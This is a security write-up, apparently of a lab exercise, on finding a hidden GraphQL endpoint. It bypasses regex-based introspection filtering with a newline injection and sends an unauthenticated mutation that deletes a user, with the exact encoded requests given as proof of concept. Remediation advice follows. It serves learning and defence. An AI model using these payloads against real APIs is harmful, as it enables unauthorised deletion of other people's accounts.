

Finding a hidden GraphQL endpoint

Executive Summary

This report documents the discovery and exploitation of a **hidden GraphQL endpoint** that lacked proper security controls, including introspection filtering and access control. Through crafted requests and schema enumeration, an attacker could enumerate the API, identify a vulnerable mutation, and delete user accounts. This vulnerability was exploited to delete a selected user, successfully demonstrating the risk of improperly secured GraphQL implementations.

Introduction

The test objective was to identify and interact with an undisclosed GraphQL endpoint. By bypassing basic introspection protections and manually crafting queries, I demonstrated how attackers could enumerate backend functionality and execute unauthorized administrative actions, such as deleting user accounts.

Methodology

1. Enumeration of Hidden Endpoints

- Tested common GraphQL endpoint paths such as `/graphql`, `/api`, etc.
- Discovered that `/api` responded with a GraphQL-like error ("Query not present"), hinting at its GraphQL nature.

2. Initial GraphQL Query

- Sent the query `/api?query=query{__typename}`.
- Received a valid GraphQL response confirming `/api` as the correct endpoint.

3. Bypassing Introspection Restrictions

- Attempted a standard introspection query but received a denial.
- Bypassed the restriction using newline injection in the query (`__schema\n{}`), which evaded regex-based filtering.

4. Schema Discovery

- Retrieved the full schema and explored available queries and mutations using Burp Suite's GraphQL tools.

5. Target Identification

- Located `getUser` and `deleteOrganizationUser` operations.
- Identified user's user ID as 3 using modified `getUser` queries

6. Exploitation

- Sent a crafted mutation to delete the user:

```
graphql
```

```
CopyEdit
```

```
`/api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%09%7D%0A%09%7D%0A%7D`
```

- Received confirmation that user ID 3 was deleted.

Vulnerability Findings

- **Type:** Hidden GraphQL Endpoint + Introspection Bypass
- **Location:** `/api`
- **Severity:** High
- **Impact:** Full user deletion without authentication or authorization.

Proof of Concept (PoC)

1. Discovered hidden endpoint:

```
graphql
```

```
CopyEdit
```

```
`GET /api?query=query{__typename} Response: {"data": {"__typename": "query"} }`
```

2. Used newline bypass for introspection:

```
perl
```

```
CopyEdit
```

```
`/api?query=query+IntrospectionQuery+%7B%0D%0A++__schema%0a+%7B...`
```

3. Retrieved schema showing:

- `getUser(id: Int)`

- `deleteOrganizationUser(input: {id: Int})`

4. Executed deletion:

bash

CopyEdit

```
~/api?query=mutation+{deleteOrganizationUser(input:{id:3}){user{id}}}`
```

Impact Assessment

- Unauthorized deletion of users.
- Exposure of internal API schema and structure.
- Demonstrates poor GraphQL endpoint hygiene and lack of role-based access control (RBAC).
- High risk for data integrity and user account security.

Recommendations

1. Avoid exposing undocumented or unused endpoints like `~/api`.
2. Restrict GraphQL introspection in production environments entirely or conditionally (e.g., authenticated users only).
3. Sanitize and validate user inputs, including URL parameters used in queries.
4. Implement strong access controls on GraphQL mutations, especially those affecting user management.
5. Use a WAF or API Gateway to detect and block automated or malicious GraphQL query patterns.
6. Regularly audit endpoint exposure and schema access using security testing tools.

Conclusion

This test demonstrated how attackers can uncover and abuse hidden GraphQL endpoints through trial-and-error probing and schema analysis. The lack of proper introspection filtering and access restrictions enabled unauthorized account manipulation. Immediate remediation is required to secure the API and prevent similar attacks.